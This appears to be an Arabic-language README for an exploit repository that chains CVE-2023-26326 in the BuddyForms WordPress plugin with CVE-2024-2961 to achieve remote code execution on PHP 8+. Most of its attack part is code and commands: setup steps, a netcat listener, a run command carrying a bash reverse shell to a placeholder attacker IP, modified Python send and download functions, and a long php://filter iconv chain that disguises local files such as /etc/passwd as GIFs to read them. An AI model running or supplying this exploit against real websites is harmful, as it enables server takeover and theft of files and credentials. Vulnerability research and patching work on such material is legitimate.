
استغلال لـ CVE-2023-26326 في إضافة BuddyForms الخاصة بـ WordPress، بالاستفادة من CVE-2024-2961 لتنفيذ برمجي عن بُعد. يتجاوز هذا الاستغلال قيود إلغاء التسلسل في PHP 8+ من خلال ربط الثغرات باستخدام php://filter.
تم هذا العمل بواسطتي أنا Omar Elshopky و Nour El Dien Bassiouny.
يحتوي هذا المستودع على استغلال لإضافة BuddyForms في ووردبريس (CVE-2023-26326)، والتي تم الإبلاغ عنها في الإعلان بواسطة Joshua Martinelle. يستخدم الاستغلال تقنية مقترحة في مدونة Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine، وتم تنفيذها بواسطة @ambionics في مستودع cnext-exploits.
في الأصل، كانت CVE-2023–26326 تتطلب سلاسل أدوات (gadget chains) لاستغلالها كثغرة إلغاء تسلسل (deserialization). لم يعد هذا الأسلوب ممكنًا على مواقع ووردبريس الأحدث التي تعمل على PHP 8+؛ ومع ذلك، من خلال ربطها مع CVE-2024-2961، يصبح الاستغلال ممكنًا عبر php://filter بدلاً من phar://.
تم إنشاء الاستغلال بتعديل سكربت cnext-exploit.py، مع إدخال التغييرات اللازمة لـ CVE-2023-26326، كما هو موضح في .
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> لالتقاط الصدفة العكسية:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'


تم الاحتفاظ بالفكرة الأساسية لاستغلال CVE-2024-2961، لكن كانت هناك حاجة إلى تعديلات لتكييفه لإرسال سلسلة الفلاتر إلى الموقع وتنزيل الملفات من الخادم.
في الاستغلال الأصلي، تُستخدم دالة الإرسال لإرسال مسار إلى الخادم:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
بالنسبة لووردبريس مع BuddyForms، يحدث التفاعل افتراضيًا عبر طلب POST إلى /wp-admin/admin-ajax.php، حيث تحتوي بيانات الجسم على action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif. تعمل معامل URL كنقطة حقن لإرسال سلسلة الفلاتر إلى الخادم. نتج عن ذلك التعديل التالي لدالة الإرسال:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
كان لدى الاستغلال الأصلي دالة تنزيل مسؤولة عن تنزيل الملفات من الخادم. تُستخدم النسخة التالية من دالة التنزيل في الاستغلال الأصلي:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
لتكييف ذلك مع BuddyForms، نقوم بتحليل دالة buddyforms_upload_image_from_url، التي تتعامل مع رفع الصور من رابط. تستخدم file_get_contents، وتتحقق من نوع الملف باستخدام getimagesize()، ثم تحفظ المحتوى في دليل wp-content/uploads. يتيح لنا ذلك استغلال php://filter لقراءة الملفات المحلية وحفظها في دليل uploads، مما يجعلها متاحة عبر الرابط. ومع ذلك، يجب تجاوز فحص الملف عن طريق إضافة GIF89a في بداية محتوى الملف لمحاكاة أنه ملف GIF. يمكن فعل ذلك باستخدام سلاسل الفلاتر، ويمكن لأداة wrapwrap توليد السلسلة المطلوبة:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000

يجب أن تحل سلسلة الفلاتر المولّدة محل ترميز base64 المستخدم في السكربت الأصلي. بالإضافة إلى ذلك، يجب تحديث صيغة استخراج مسار الملف المرفوع من الاستجابة لتتوافق مع صيغة JSON، التي تتضمن خاصية "response" المعيّنة لمسار الملف.
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
لاحظ أنه يجب إزالة البادئة GIF89a قبل استخدام محتوى الملف في الاستغلال، مما ينتج عنه دالة التنزيل المعدلة التالية:
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6يرجى ملاحظة أن تنزيل ملف libc.so.6 من الخادم قد لا يعمل بشكل صحيح مع سلاسل الفلاتر، حيث يتم تعديل الملف الثنائي أثناء العملية. بدلاً من ذلك، يجب توفير الملف الصحيح في الدليل الجذر للاستغلال.